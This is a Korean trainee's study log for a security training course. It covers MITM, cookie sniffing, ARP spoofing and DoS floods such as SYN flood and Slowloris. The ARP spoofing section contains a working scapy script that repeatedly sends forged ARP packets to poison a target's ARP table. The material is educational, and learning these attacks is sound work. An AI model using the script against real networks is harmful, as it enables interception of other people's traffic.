bob 11th 지원대상자가 이수해야 할 사전 교육에 대한 학습 일지입니다.
MITM attack
- Man In The Middle Attack. 중간자 공격
- 네트워크 통신 내용을 도청하거나 조작하는 공격 기법
- Sniffing(킁킁거리다. 냄새를 맡다)
- Spoofing(오염시키다)
Cookie Sniffing
Cookie
- 하이퍼 텍스트 기록 값으로, 인터넷 사용자가 어떠한 웹사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터넷 사용자의 컴퓨터에 설치되는 작은 기록 정보 파일을 일컫는다.
- 오늘날 많은 서버 및 웹사이트들이 브라우저의 신속성을 위해 사용한다.
- 행동추적 또는 쿠키값을 훔쳐서 다른 사용자의 계정 권한을 획득할 수 있다.
| Cookie | Session | |
|---|---|---|
| 저장 위치 | 클라이언트에 저장 | 서버에 저장 | 
| 라이프 사이클 | 보통 만료기간 동안 유지 | 만료기간 존재.브라우저 종료 시 삭제 | 
| 장점 | 서버 성능 저하 X | 높은 보안성 | 
| 단점 | 낮은 보안성 | 서버 부담 | 
ARP Spoofing

ARP table 조작
- ARP Request- 출발지 IP, MAC, 도착지 IP 정보를 이용해 목적지의 MAC 정보를 요청
- 라우터의 IP와 공격자의 MAC을 출발지로 설정하고 타겟에게 요청할 경우, 타켓의 APR table에서 라우터 정보 부분을 공격자의 MAC으로 저장함.
 
| Opcode | ARP Message Type | 
|---|---|
| 1 | ARP Request | 
| 2 | ARP Reply | 
| 3 | RARP Request | 
| 4 | RARP Reply | 
| 5 | DRARP Request | 
| 6 | DRARP Reply | 
| 7 | DRARP Error | 
| 8 | InARP Request | 
| 9 | InARP Reply | 
from scapy.all import *
from subprocess import call
import argparse
import time
op = 1 #arp request op = 1
arg_parser = argparse.ArgumentParser(description='python3 arps.py [target ip] [target mac] [router ip]')
arg_parser.add_argument('tip', help="input target ip address")
arg_parser.add_argument('tmac', help="input target mac address")
arg_parser.add_argument('rip', help="input router ip address")
arg = arg_parser.parse_args()
target_ip = arg.tip
target_mac = arg.tmac
router_ip = arg.rip
arp = ARP(op=op, psrc=router_ip, pdst=target_ip, hwdst=target_mac)
while 1:
	send(arp)
	time.sleep(2)
DoS/DDos
DoS
- Denial of Service, 서비스 거부 공격
- 시스템을 악의적으로 공격해 원래 의도된 용도로 사용하지 못하게 한다. 보통 인터넷 사이트 또는 서비스의 기능을 일시적 또는 영구적으로 방해 및 중단을 초래한다.
특징
- 시스템 자원 고갈 공격- CPU, 메모리, 디스크 자원 고갈
 
- 네트워크 자원 고갈 공격- 무의미한 값으로 네트워크 대역폭 고갈
 
- 공격자를 찾기가 어려운 편
DDoS
- Distributed Denail of Serivce, 분산형 서비스 거부 공격
- 여러 대의 공격자(피해자 컴퓨터)를 분산적으로 배치해 동시에 서비스 거부 공격을 한다.
ICMP ping Flooding
- 가장 기본적인 Layer3 DoS 공격의 형태.
- Echo request와 Echo response 모두 트래픽을 키울 수 있음.

- 공격 예시의 패킷 정보를 볼 수 있음 https://kb.mazebolt.com/knowledgebase/icmp-ping-flood/
TCP SYN Flooding
- 방화벽과 로드밸런서 등 상태 분석형 요소나 백엔드 서버로의 연결 자원을 소모하게 하는 방법.
- 공격 패킷의 source ip 를 스푸핑하면서 대상 서비스에 아주 많은 TCP SYN 요청을 전송.
- TCP backlog가 포화되어 더이상 새로운 연결을 받을 수 없게 된다.

https://kb.mazebolt.com/knowledgebase/syn-flood/
Slowloris Attack
- Robert Hansen이 개발한 서비스 거부 공격 도구
- 가능한 많은 연결을 열어두고 가능한 오랜 기간 유지시키려고 함
- 주기적으로 후속 HTTP 헤더를 보내 요청하지만, 완료시키지 않음
- 최대 동시 연결 풀을 포화시키면 새로운 연결 시도가 거부됨

https://kb.mazebolt.com/knowledgebase/slowloris-attack/
- HTTP의 연결은 두 개의 CRLF(0d 0a)가 존재해야하지만 해당 공격은 한 개만 작성하여 아직 연결이 끝나지 않았다는 식의 통신을 지속. 때문에 Wireshark에서도 해당 패킷을 HTTP가 아닌 TCP 패킷으로 인식함  
※ CRLF: 줄바꿈(newline)을 입력하는 문자를 칭하는 표현. /r/n